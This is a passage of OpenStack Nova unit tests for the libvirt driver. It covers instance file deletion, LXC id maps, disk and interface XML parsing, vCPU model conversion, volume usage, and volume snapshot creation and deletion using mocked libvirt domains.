objects.Instance(uuid='fake-uuid', id=1) nova.utils.execute.side_effect = [Exception(), Exception(), None] exists.side_effect = [False, False, True, False] result = self.drvr.delete_instance_files(instance) get_instance_path.assert_called_with(instance) expected = [mock.call('mv', '/path', '/path_del'), mock.call('mv', '/path_resize', '/path_del')] expected.append(expected[0]) self.assertEqual(expected, exe.mock_calls) shutil.assert_called_with('/path_del') self.assertTrue(result) def _assert_on_id_map(self, idmap, klass, start, target, count): self.assertIsInstance(idmap, klass) self.assertEqual(start, idmap.start) self.assertEqual(target, idmap.target) self.assertEqual(count, idmap.count) def test_get_id_maps(self): self.flags(virt_type="lxc", group="libvirt") CONF.libvirt.virt_type = "lxc" CONF.libvirt.uid_maps = ["0:10000:1", "1:20000:10"] CONF.libvirt.gid_maps = ["0:10000:1", "1:20000:10"] idmaps = self.drvr._get_guest_idmaps() self.assertEqual(len(idmaps), 4) self._assert_on_id_map(idmaps[0], vconfig.LibvirtConfigGuestUIDMap, 0, 10000, 1) self._assert_on_id_map(idmaps[1], vconfig.LibvirtConfigGuestUIDMap, 1, 20000, 10) self._assert_on_id_map(idmaps[2], vconfig.LibvirtConfigGuestGIDMap, 0, 10000, 1) self._assert_on_id_map(idmaps[3], vconfig.LibvirtConfigGuestGIDMap, 1, 20000, 10) def test_get_id_maps_not_lxc(self): CONF.libvirt.uid_maps = ["0:10000:1", "1:20000:10"] CONF.libvirt.gid_maps = ["0:10000:1", "1:20000:10"] idmaps = self.drvr._get_guest_idmaps() self.assertEqual(0, len(idmaps)) def test_get_id_maps_only_uid(self): self.flags(virt_type="lxc", group="libvirt") CONF.libvirt.uid_maps = ["0:10000:1", "1:20000:10"] CONF.libvirt.gid_maps = [] idmaps = self.drvr._get_guest_idmaps() self.assertEqual(2, len(idmaps)) self._assert_on_id_map(idmaps[0], vconfig.LibvirtConfigGuestUIDMap, 0, 10000, 1) self._assert_on_id_map(idmaps[1], vconfig.LibvirtConfigGuestUIDMap, 1, 20000, 10) def test_get_id_maps_only_gid(self): self.flags(virt_type="lxc", group="libvirt") CONF.libvirt.uid_maps = [] CONF.libvirt.gid_maps = ["0:10000:1", "1:20000:10"] idmaps = self.drvr._get_guest_idmaps() self.assertEqual(2, len(idmaps)) self._assert_on_id_map(idmaps[0], vconfig.LibvirtConfigGuestGIDMap, 0, 10000, 1) self._assert_on_id_map(idmaps[1], vconfig.LibvirtConfigGuestGIDMap, 1, 20000, 10) def test_instance_on_disk(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(uuid='fake-uuid', id=1) self.assertFalse(drvr.instance_on_disk(instance)) def test_instance_on_disk_rbd(self): self.flags(images_type='rbd', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(uuid='fake-uuid', id=1) self.assertTrue(drvr.instance_on_disk(instance)) def test_get_interfaces(self): dom_xml = """ <domain type="qemu"> <devices> <interface type="ethernet"> <mac address="fe:eb:da:ed:ef:ac"/> <model type="virtio"/> <target dev="eth0"/> </interface> <interface type="bridge"> <mac address="ca:fe:de:ad:be:ef"/> <model type="virtio"/> <target dev="br0"/> </interface> </devices> </domain>""" list_interfaces = ['eth0', 'br0'] drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertEqual(list_interfaces, drv._get_interfaces(dom_xml)) def test_get_disk_xml(self): dom_xml = """ <domain type="kvm"> <devices> <disk type="file"> <source file="disk1_file"/> <target dev="vda" bus="virtio"/> <serial>0e38683e-f0af-418f-a3f1-6b67ea0f919d</serial> </disk> <disk type="block"> <source dev="/path/to/dev/1"/> <target dev="vdb" bus="virtio" serial="1234"/> </disk> </devices> </domain> """ diska_xml = """<disk type="file" device="disk"> <source file="disk1_file"/> <target bus="virtio" dev="vda"/> <serial>0e38683e-f0af-418f-a3f1-6b67ea0f919d</serial> </disk>""" diskb_xml = """<disk type="block" device="disk"> <source dev="/path/to/dev/1"/> <target bus="virtio" dev="vdb"/> </disk>""" dom = mock.MagicMock() dom.XMLDesc.return_value = dom_xml guest = libvirt_guest.Guest(dom) # NOTE(gcb): etree.tostring(node) returns an extra line with # some white spaces, need to strip it. actual_diska_xml = guest.get_disk('vda').to_xml() self.assertEqual(diska_xml.strip(), actual_diska_xml.strip()) actual_diskb_xml = guest.get_disk('vdb').to_xml() self.assertEqual(diskb_xml.strip(), actual_diskb_xml.strip()) self.assertIsNone(guest.get_disk('vdc')) def test_vcpu_model_from_config(self): drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) vcpu_model = drv._cpu_config_to_vcpu_model(None, None) self.assertIsNone(vcpu_model) cpu = vconfig.LibvirtConfigGuestCPU() feature1 = vconfig.LibvirtConfigGuestCPUFeature() feature2 = vconfig.LibvirtConfigGuestCPUFeature() feature1.name = 'sse' feature1.policy = cpumodel.POLICY_REQUIRE feature2.name = 'aes' feature2.policy = cpumodel.POLICY_REQUIRE cpu.features = set([feature1, feature2]) cpu.mode = cpumodel.MODE_CUSTOM cpu.sockets = 1 cpu.cores = 2 cpu.threads = 4 vcpu_model = drv._cpu_config_to_vcpu_model(cpu, None) self.assertEqual(cpumodel.MATCH_EXACT, vcpu_model.match) self.assertEqual(cpumodel.MODE_CUSTOM, vcpu_model.mode) self.assertEqual(4, vcpu_model.topology.threads) self.assertEqual(set(['sse', 'aes']), set([f.name for f in vcpu_model.features])) cpu.mode = cpumodel.MODE_HOST_MODEL vcpu_model_1 = drv._cpu_config_to_vcpu_model(cpu, vcpu_model) self.assertEqual(cpumodel.MODE_HOST_MODEL, vcpu_model.mode) self.assertEqual(vcpu_model, vcpu_model_1) def test_vcpu_model_to_config(self): drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) feature = objects.VirtCPUFeature(policy=cpumodel.POLICY_REQUIRE, name='sse') feature_1 = objects.VirtCPUFeature(policy=cpumodel.POLICY_FORBID, name='aes') topo = objects.VirtCPUTopology(sockets=1, cores=2, threads=4) vcpu_model = objects.VirtCPUModel(mode=cpumodel.MODE_HOST_MODEL, features=[feature, feature_1], topology=topo) cpu = drv._vcpu_model_to_cpu_config(vcpu_model) self.assertEqual(cpumodel.MODE_HOST_MODEL, cpu.mode) self.assertEqual(1, cpu.sockets) self.assertEqual(4, cpu.threads) self.assertEqual(2, len(cpu.features)) self.assertEqual(set(['sse', 'aes']), set([f.name for f in cpu.features])) self.assertEqual(set([cpumodel.POLICY_REQUIRE, cpumodel.POLICY_FORBID]), set([f.policy for f in cpu.features])) class LibvirtVolumeUsageTestCase(test.NoDBTestCase): """Test for LibvirtDriver.get_all_volume_usage.""" def setUp(self): super(LibvirtVolumeUsageTestCase, self).setUp() self.drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.c = context.get_admin_context() self.ins_ref = objects.Instance( id=1729, uuid='875a8070-d0b9-4949-8b31-104d125c9a64' ) # verify bootable volume device path also self.bdms = [{'volume_id': 1, 'device_name': '/dev/vde'}, {'volume_id': 2, 'device_name': 'vda'}] def test_get_all_volume_usage(self): def fake_block_stats(instance_name, disk): return (169, 688640, 0, 0, -1) self.stubs.Set(self.drvr, 'block_stats', fake_block_stats) vol_usage = self.drvr.get_all_volume_usage(self.c, [dict(instance=self.ins_ref, instance_bdms=self.bdms)]) expected_usage = [{'volume': 1, 'instance': self.ins_ref, 'rd_bytes': 688640, 'wr_req': 0, 'rd_req': 169, 'wr_bytes': 0}, {'volume': 2, 'instance': self.ins_ref, 'rd_bytes': 688640, 'wr_req': 0, 'rd_req': 169, 'wr_bytes': 0}] self.assertEqual(vol_usage, expected_usage) def test_get_all_volume_usage_device_not_found(self): def fake_get_domain(self, instance): raise exception.InstanceNotFound(instance_id="fakedom") self.stubs.Set(host.Host, 'get_domain', fake_get_domain) vol_usage = self.drvr.get_all_volume_usage(self.c, [dict(instance=self.ins_ref, instance_bdms=self.bdms)]) self.assertEqual(vol_usage, []) class LibvirtNonblockingTestCase(test.NoDBTestCase): """Test libvirtd calls are nonblocking.""" def setUp(self): super(LibvirtNonblockingTestCase, self).setUp() self.flags(connection_uri="test:///default", group='libvirt') def test_connection_to_primitive(self): # Test bug 962840. import nova.virt.libvirt.driver as libvirt_driver drvr = libvirt_driver.LibvirtDriver('') drvr.set_host_enabled = mock.Mock() jsonutils.to_primitive(drvr._conn, convert_instances=True) def test_tpool_execute_calls_libvirt(self): conn = fakelibvirt.virConnect() conn.is_expected = True self.mox.StubOutWithMock(eventlet.tpool, 'execute') eventlet.tpool.execute( fakelibvirt.openAuth, 'test:///default', mox.IgnoreArg(), mox.IgnoreArg()).AndReturn(conn) eventlet.tpool.execute( conn.domainEventRegisterAny, None, fakelibvirt.VIR_DOMAIN_EVENT_ID_LIFECYCLE, mox.IgnoreArg(), mox.IgnoreArg()) if hasattr(fakelibvirt.virConnect, 'registerCloseCallback'): eventlet.tpool.execute( conn.registerCloseCallback, mox.IgnoreArg(), mox.IgnoreArg()) self.mox.ReplayAll() driver = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) c = driver._get_connection() self.assertEqual(True, c.is_expected) class LibvirtVolumeSnapshotTestCase(test.NoDBTestCase): """Tests for libvirtDriver.volume_snapshot_create/delete.""" def setUp(self): super(LibvirtVolumeSnapshotTestCase, self).setUp() self.drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.c = context.get_admin_context() self.flags(instance_name_template='instance-%s') self.flags(qemu_allowed_storage_drivers=[], group='libvirt') # creating instance self.inst = {} self.inst['uuid'] = uuidutils.generate_uuid() self.inst['id'] = '1' # create domain info self.dom_xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='disk1_file'/> <target dev='vda' bus='virtio'/> <serial>0e38683e-f0af-418f-a3f1-6b67ea0f919d</serial> </disk> <disk type='block'> <source dev='/path/to/dev/1'/> <target dev='vdb' bus='virtio' serial='1234'/> </disk> </devices> </domain>""" # alternate domain info with network-backed snapshot chain self.dom_netdisk_xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='disk1_file'/> <target dev='vda' bus='virtio'/> <serial>0e38683e-f0af-418f-a3f1-6b67eaffffff</serial> </disk> <disk type='network' device='disk'> <driver name='qemu' type='qcow2'/> <source protocol='gluster' name='vol1/root.img'> <host name='server1' port='24007'/> </source> <backingStore type='network' index='1'> <driver name='qemu' type='qcow2'/> <source protocol='gluster' name='vol1/snap.img'> <host name='server1' port='24007'/> </source> <backingStore type='network' index='2'> <driver name='qemu' type='qcow2'/> <source protocol='gluster' name='vol1/snap-b.img'> <host name='server1' port='24007'/> </source> <backingStore/> </backingStore> </backingStore> <target dev='vdb' bus='virtio'/> <serial>0e38683e-f0af-418f-a3f1-6b67ea0f919d</serial> </disk> </devices> </domain> """ self.create_info = {'type': 'qcow2', 'snapshot_id': '1234-5678', 'new_file': 'new-file'} self.volume_uuid = '0e38683e-f0af-418f-a3f1-6b67ea0f919d' self.snapshot_id = '9c3ca9f4-9f4e-4dba-bedd-5c5e4b52b162' self.delete_info_1 = {'type': 'qcow2', 'file_to_merge': 'snap.img', 'merge_target_file': None} self.delete_info_2 = {'type': 'qcow2', 'file_to_merge': 'snap.img', 'merge_target_file': 'other-snap.img'} self.delete_info_3 = {'type': 'qcow2', 'file_to_merge': None, 'merge_target_file': None} self.delete_info_netdisk = {'type': 'qcow2', 'file_to_merge': 'snap.img', 'merge_target_file': 'root.img'} self.delete_info_invalid_type = {'type': 'made_up_type', 'file_to_merge': 'some_file', 'merge_target_file': 'some_other_file'} def tearDown(self): super(LibvirtVolumeSnapshotTestCase, self).tearDown() @mock.patch('nova.virt.block_device.DriverVolumeBlockDevice.' 'refresh_connection_info') @mock.patch('nova.objects.block_device.BlockDeviceMapping.' 'get_by_volume_id') def test_volume_refresh_connection_info(self, mock_get_by_volume_id, mock_refresh_connection_info): fake_bdm = fake_block_device.FakeDbBlockDeviceDict({ 'id': 123, 'instance_uuid': 'fake-instance', 'device_name': '/dev/sdb', 'source_type': 'volume', 'destination_type': 'volume', 'volume_id': 'fake-volume-id-1', 'connection_info': '{"fake": "connection_info"}'}) mock_get_by_volume_id.return_value = fake_bdm self.drvr._volume_refresh_connection_info(self.c, self.inst, self.volume_uuid) mock_get_by_volume_id.assert_called_once_with(self.c, self.volume_uuid) mock_refresh_connection_info.assert_called_once_with(self.c, self.inst, self.drvr._volume_api, self.drvr) def test_volume_snapshot_create(self, quiesce=True): """Test snapshot creation with file-based disk.""" self.flags(instance_name_template='instance-%s') self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr, '_volume_api') instance = objects.Instance(**self.inst) new_file = 'new-file' domain = FakeVirtDomain(fake_xml=self.dom_xml) self.mox.StubOutWithMock(domain, 'XMLDesc') self.mox.StubOutWithMock(domain, 'snapshotCreateXML') domain.XMLDesc(flags=0).AndReturn(self.dom_xml) snap_xml_src = ( '<domainsnapshot>\n' ' <disks>\n' ' <disk name="disk1_file" snapshot="external" type="file">\n' ' <source file="new-file"/>\n' ' </disk>\n' ' <disk name="vdb" snapshot="no"/>\n' ' </disks>\n' '</domainsnapshot>\n') # Older versions of libvirt may be missing these. fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_REUSE_EXT = 32 fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_QUIESCE = 64 snap_flags = (fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_DISK_ONLY | fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_NO_METADATA | fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_REUSE_EXT) snap_flags_q = (snap_flags | fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_QUIESCE) if quiesce: domain.snapshotCreateXML(snap_xml_src, snap_flags_q) else: domain.snapshotCreateXML(snap_xml_src, snap_flags_q).\ AndRaise(fakelibvirt.libvirtError( 'quiescing failed, no qemu-ga')) domain.snapshotCreateXML(snap_xml_src, snap_flags).AndReturn(0) self.mox.ReplayAll() self.drvr._volume_snapshot_create(self.c, instance, domain, self.volume_uuid, new_file) self.mox.VerifyAll() def test_volume_snapshot_create_libgfapi(self, quiesce=True): """Test snapshot creation with libgfapi network disk.""" self.flags(instance_name_template = 'instance-%s') self.flags(qemu_allowed_storage_drivers = ['gluster'], group='libvirt') self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr, '_volume_api') self.dom_xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='disk1_file'/> <target dev='vda' bus='virtio'/> <serial>0e38683e-f0af-418f-a3f1-6b67ea0f919d</serial> </disk> <disk type='block'> <source protocol='gluster' name='gluster1/volume-1234'> <host name='127.3.4.5' port='24007'/> </source> <target dev='vdb' bus='virtio' serial='1234'/> </disk> </devices> </domain>""" instance = objects.Instance(**self.inst) new_file = 'new-file' domain = FakeVirtDomain(fake_xml=self.dom_xml) self.mox.StubOutWithMock(domain, 'XMLDesc') self.mox.StubOutWithMock(domain, 'snapshotCreateXML') domain.XMLDesc(flags=0).AndReturn(self.dom_xml) snap_xml_src = ( '<domainsnapshot>\n' ' <disks>\n' ' <disk name="disk1_file" snapshot="external" type="file">\n' ' <source file="new-file"/>\n' ' </disk>\n' ' <disk name="vdb" snapshot="no"/>\n' ' </disks>\n' '</domainsnapshot>\n') # Older versions of libvirt may be missing these. fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_REUSE_EXT = 32 fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_QUIESCE = 64 snap_flags = (fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_DISK_ONLY | fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_NO_METADATA | fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_REUSE_EXT) snap_flags_q = (snap_flags | fakelibvirt.VIR_DOMAIN_SNAPSHOT_CREATE_QUIESCE) if quiesce: domain.snapshotCreateXML(snap_xml_src, snap_flags_q) else: domain.snapshotCreateXML(snap_xml_src, snap_flags_q).\ AndRaise(fakelibvirt.libvirtError( 'quiescing failed, no qemu-ga')) domain.snapshotCreateXML(snap_xml_src, snap_flags).AndReturn(0) self.mox.ReplayAll() self.drvr._volume_snapshot_create(self.c, instance, domain, self.volume_uuid, new_file) self.mox.VerifyAll() def test_volume_snapshot_create_noquiesce(self): self.test_volume_snapshot_create(quiesce=False) def test_volume_snapshot_create_outer_success(self): instance = objects.Instance(**self.inst) domain = FakeVirtDomain(fake_xml=self.dom_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr, '_volume_api') self.mox.StubOutWithMock(self.drvr, '_volume_snapshot_create') self.drvr._host.get_domain(instance).AndReturn(domain) self.drvr._volume_snapshot_create(self.c, instance, domain, self.volume_uuid, self.create_info['new_file']) self.drvr._volume_api.update_snapshot_status( self.c, self.create_info['snapshot_id'], 'creating') self.mox.StubOutWithMock(self.drvr._volume_api, 'get_snapshot') self.drvr._volume_api.get_snapshot(self.c, self.create_info['snapshot_id']).AndReturn({'status': 'available'}) self.mox.StubOutWithMock(self.drvr, '_volume_refresh_connection_info') self.drvr._volume_refresh_connection_info(self.c, instance, self.volume_uuid) self.mox.ReplayAll() self.drvr.volume_snapshot_create(self.c, instance, self.volume_uuid, self.create_info) def test_volume_snapshot_create_outer_failure(self): instance = objects.Instance(**self.inst) domain = FakeVirtDomain(fake_xml=self.dom_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr, '_volume_api') self.mox.StubOutWithMock(self.drvr, '_volume_snapshot_create') self.drvr._host.get_domain(instance).AndReturn(domain) self.drvr._volume_snapshot_create(self.c, instance, domain, self.volume_uuid, self.create_info['new_file']).\ AndRaise(exception.NovaException('oops')) self.drvr._volume_api.update_snapshot_status( self.c, self.create_info['snapshot_id'], 'error') self.mox.ReplayAll() self.assertRaises(exception.NovaException, self.drvr.volume_snapshot_create, self.c, instance, self.volume_uuid, self.create_info) def test_volume_snapshot_delete_1(self): """Deleting newest snapshot -- blockRebase.""" # libvirt lib doesn't have VIR_DOMAIN_BLOCK_REBASE_RELATIVE flag fakelibvirt.__dict__.pop('VIR_DOMAIN_BLOCK_REBASE_RELATIVE') self.stubs.Set(libvirt_driver, 'libvirt', fakelibvirt) instance = objects.Instance(**self.inst) snapshot_id = 'snapshot-1234' domain = FakeVirtDomain(fake_xml=self.dom_xml) self.mox.StubOutWithMock(domain, 'XMLDesc') domain.XMLDesc(flags=0).AndReturn(self.dom_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr._host, 'has_min_version') self.mox.StubOutWithMock(domain, 'blockRebase') self.mox.StubOutWithMock(domain, 'blockCommit') self.mox.StubOutWithMock(domain, 'blockJobInfo') self.drvr._host.get_domain(instance).AndReturn(domain) self.drvr._host.has_min_version(mox.IgnoreArg()).AndReturn(True) domain.blockRebase('vda', 'snap.img', 0, flags=0) domain.blockJobInfo('vda', flags=0).AndReturn({'cur': 1, 'end': 1000}) domain.blockJobInfo('vda', flags=0).AndReturn( {'cur': 1000, 'end': 1000}) self.mox.ReplayAll() self.drvr._volume_snapshot_delete(self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_1) self.mox.VerifyAll() fakelibvirt.__dict__.update({'VIR_DOMAIN_BLOCK_REBASE_RELATIVE': 8}) def test_volume_snapshot_delete_relative_1(self): """Deleting newest snapshot -- blockRebase using relative flag""" self.stubs.Set(libvirt_driver, 'libvirt', fakelibvirt) instance = objects.Instance(**self.inst) snapshot_id = 'snapshot-1234' domain = FakeVirtDomain(fake_xml=self.dom_xml) guest = libvirt_guest.Guest(domain) self.mox.StubOutWithMock(domain, 'XMLDesc') domain.XMLDesc(flags=0).AndReturn(self.dom_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_guest') self.mox.StubOutWithMock(self.drvr._host, 'has_min_version') self.mox.StubOutWithMock(domain, 'blockRebase') self.mox.StubOutWithMock(domain, 'blockCommit') self.mox.StubOutWithMock(domain, 'blockJobInfo') self.drvr._host.get_guest(instance).AndReturn(guest) self.drvr._host.has_min_version(mox.IgnoreArg()).AndReturn(True) domain.blockRebase('vda', 'snap.img', 0, flags=fakelibvirt.VIR_DOMAIN_BLOCK_REBASE_RELATIVE) domain.blockJobInfo('vda', flags=0).AndReturn({'cur': 1, 'end': 1000}) domain.blockJobInfo('vda', flags=0).AndReturn( {'cur': 1000, 'end': 1000}) self.mox.ReplayAll() self.drvr._volume_snapshot_delete(self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_1) self.mox.VerifyAll() def test_volume_snapshot_delete_2(self): """Deleting older snapshot -- blockCommit.""" # libvirt lib doesn't have VIR_DOMAIN_BLOCK_COMMIT_RELATIVE fakelibvirt.__dict__.pop('VIR_DOMAIN_BLOCK_COMMIT_RELATIVE') self.stubs.Set(libvirt_driver, 'libvirt', fakelibvirt) instance = objects.Instance(**self.inst) snapshot_id = 'snapshot-1234' domain = FakeVirtDomain(fake_xml=self.dom_xml) self.mox.StubOutWithMock(domain, 'XMLDesc') domain.XMLDesc(flags=0).AndReturn(self.dom_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr._host, 'has_min_version') self.mox.StubOutWithMock(domain, 'blockRebase') self.mox.StubOutWithMock(domain, 'blockCommit') self.mox.StubOutWithMock(domain, 'blockJobInfo') self.drvr._host.get_domain(instance).AndReturn(domain) self.drvr._host.has_min_version(mox.IgnoreArg()).AndReturn(True) self.mox.ReplayAll() self.assertRaises(exception.Invalid, self.drvr._volume_snapshot_delete, self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_2) fakelibvirt.__dict__.update({'VIR_DOMAIN_BLOCK_COMMIT_RELATIVE': 4}) def test_volume_snapshot_delete_relative_2(self): """Deleting older snapshot -- blockCommit using relative flag""" self.stubs.Set(libvirt_driver, 'libvirt', fakelibvirt) instance = objects.Instance(**self.inst) snapshot_id = 'snapshot-1234' domain = FakeVirtDomain(fake_xml=self.dom_xml) self.mox.StubOutWithMock(domain, 'XMLDesc') domain.XMLDesc(flags=0).AndReturn(self.dom_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr._host, 'has_min_version') self.mox.StubOutWithMock(domain, 'blockRebase') self.mox.StubOutWithMock(domain, 'blockCommit') self.mox.StubOutWithMock(domain, 'blockJobInfo') self.drvr._host.get_domain(instance).AndReturn(domain) self.drvr._host.has_min_version(mox.IgnoreArg()).AndReturn(True) domain.blockCommit('vda', 'other-snap.img', 'snap.img', 0, flags=fakelibvirt.VIR_DOMAIN_BLOCK_COMMIT_RELATIVE) domain.blockJobInfo('vda', flags=0).AndReturn({'cur': 1, 'end': 1000}) domain.blockJobInfo('vda', flags=0).AndReturn({}) self.mox.ReplayAll() self.drvr._volume_snapshot_delete(self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_2) self.mox.VerifyAll() def test_volume_snapshot_delete_nonrelative_null_base(self): # Deleting newest and last snapshot of a volume # with blockRebase. So base of the new image will be null. instance = objects.Instance(**self.inst) snapshot_id = 'snapshot-1234' domain = FakeVirtDomain(fake_xml=self.dom_xml) guest = libvirt_guest.Guest(domain) with contextlib.nested( mock.patch.object(domain, 'XMLDesc', return_value=self.dom_xml), mock.patch.object(self.drvr._host, 'get_guest', return_value=guest), mock.patch.object(self.drvr._host, 'has_min_version', return_value=True), mock.patch.object(domain, 'blockRebase'), mock.patch.object(domain, 'blockJobInfo', return_value={'cur': 1000, 'end': 1000}) ) as (mock_xmldesc, mock_get_guest, mock_has_min_version, mock_rebase, mock_job_info): self.drvr._volume_snapshot_delete(self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_3) mock_xmldesc.assert_called_once_with(flags=0) mock_get_guest.assert_called_once_with(instance) mock_has_min_version.assert_called_once_with((1, 1, 1,)) mock_rebase.assert_called_once_with('vda', None, 0, flags=0) mock_job_info.assert_called_once_with('vda', flags=0) def test_volume_snapshot_delete_outer_success(self): instance = objects.Instance(**self.inst) snapshot_id = 'snapshot-1234' FakeVirtDomain(fake_xml=self.dom_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr, '_volume_api') self.mox.StubOutWithMock(self.drvr, '_volume_snapshot_delete') self.drvr._volume_snapshot_delete(self.c, instance, self.volume_uuid, snapshot_id, delete_info=self.delete_info_1) self.drvr._volume_api.update_snapshot_status( self.c, snapshot_id, 'deleting') self.mox.StubOutWithMock(self.drvr, '_volume_refresh_connection_info') self.drvr._volume_refresh_connection_info(self.c, instance, self.volume_uuid) self.mox.ReplayAll() self.drvr.volume_snapshot_delete(self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_1) self.mox.VerifyAll() def test_volume_snapshot_delete_outer_failure(self): instance = objects.Instance(**self.inst) snapshot_id = '1234-9876' FakeVirtDomain(fake_xml=self.dom_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr, '_volume_api') self.mox.StubOutWithMock(self.drvr, '_volume_snapshot_delete') self.drvr._volume_snapshot_delete(self.c, instance, self.volume_uuid, snapshot_id, delete_info=self.delete_info_1).\ AndRaise(exception.NovaException('oops')) self.drvr._volume_api.update_snapshot_status( self.c, snapshot_id, 'error_deleting') self.mox.ReplayAll() self.assertRaises(exception.NovaException, self.drvr.volume_snapshot_delete, self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_1) self.mox.VerifyAll() def test_volume_snapshot_delete_invalid_type(self): instance = objects.Instance(**self.inst) FakeVirtDomain(fake_xml=self.dom_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr, '_volume_api') self.mox.StubOutWithMock(self.drvr._host, 'has_min_version') self.drvr._host.has_min_version(mox.IgnoreArg()).AndReturn(True) self.drvr._volume_api.update_snapshot_status( self.c, self.snapshot_id, 'error_deleting') self.mox.ReplayAll() self.assertRaises(exception.NovaException, self.drvr.volume_snapshot_delete, self.c, instance, self.volume_uuid, self.snapshot_id, self.delete_info_invalid_type) def test_volume_snapshot_delete_netdisk_1(self): """Delete newest snapshot -- blockRebase for libgfapi/network disk.""" class FakeNetdiskDomain(FakeVirtDomain): def __init__(self, *args, **kwargs): super(FakeNetdiskDomain, self).__init__(*args, **kwargs) def XMLDesc(self, flags): return self.dom_netdisk_xml # libvirt lib doesn't have VIR_DOMAIN_BLOCK_REBASE_RELATIVE fakelibvirt.__dict__.pop('VIR_DOMAIN_BLOCK_REBASE_RELATIVE') self.stubs.Set(libvirt_driver, 'libvirt', fakelibvirt) instance = objects.Instance(**self.inst) snapshot_id = 'snapshot-1234' domain = FakeNetdiskDomain(fake_xml=self.dom_netdisk_xml) self.mox.StubOutWithMock(domain, 'XMLDesc') domain.XMLDesc(flags=0).AndReturn(self.dom_netdisk_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr._host, 'has_min_version') self.mox.StubOutWithMock(domain, 'blockRebase') self.mox.StubOutWithMock(domain, 'blockCommit') self.mox.StubOutWithMock(domain, 'blockJobInfo') self.drvr._host.get_domain(instance).AndReturn(domain) self.drvr._host.has_min_version(mox.IgnoreArg()).AndReturn(True) domain.blockRebase('vdb', 'vdb[1]', 0, flags=0) domain.blockJobInfo('vdb', flags=0).AndReturn({'cur': 1, 'end': 1000}) domain.blockJobInfo('vdb', flags=0).AndReturn( {'cur': 1000, 'end': 1000}) self.mox.ReplayAll() self.drvr._volume_snapshot_delete(self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_1) self.mox.VerifyAll() fakelibvirt.__dict__.update({'VIR_DOMAIN_BLOCK_REBASE_RELATIVE': 8}) def test_volume_snapshot_delete_netdisk_relative_1(self): """Delete newest snapshot -- blockRebase for libgfapi/network disk.""" class FakeNetdiskDomain(FakeVirtDomain): def __init__(self, *args, **kwargs): super(FakeNetdiskDomain, self).__init__(*args, **kwargs) def XMLDesc(self, flags): return self.dom_netdisk_xml self.stubs.Set(libvirt_driver, 'libvirt', fakelibvirt) instance = objects.Instance(**self.inst) snapshot_id = 'snapshot-1234' domain = FakeNetdiskDomain(fake_xml=self.dom_netdisk_xml) self.mox.StubOutWithMock(domain, 'XMLDesc') domain.XMLDesc(flags=0).AndReturn(self.dom_netdisk_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr._host, 'has_min_version') self.mox.StubOutWithMock(domain, 'blockRebase') self.mox.StubOutWithMock(domain, 'blockCommit') self.mox.StubOutWithMock(domain, 'blockJobInfo') self.drvr._host.get_domain(instance).AndReturn(domain) self.drvr._host.has_min_version(mox.IgnoreArg()).AndReturn(True) domain.blockRebase('vdb', 'vdb[1]', 0, flags=fakelibvirt.VIR_DOMAIN_BLOCK_REBASE_RELATIVE) domain.blockJobInfo('vdb', flags=0).AndReturn({'cur': 1, 'end': 1000}) domain.blockJobInfo('vdb', flags=0).AndReturn( {'cur': 1000, 'end': 1000}) self.mox.ReplayAll() self.drvr._volume_snapshot_delete(self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_1) self.mox.VerifyAll() def test_volume_snapshot_delete_netdisk_2(self): """Delete older snapshot -- blockCommit for libgfapi/network disk.""" class FakeNetdiskDomain(FakeVirtDomain): def __init__(self, *args, **kwargs): super(FakeNetdiskDomain, self).__init__(*args, **kwargs) def XMLDesc(self, flags): return self.dom_netdisk_xml # libvirt lib doesn't have VIR_DOMAIN_BLOCK_COMMIT_RELATIVE fakelibvirt.__dict__.pop('VIR_DOMAIN_BLOCK_COMMIT_RELATIVE') 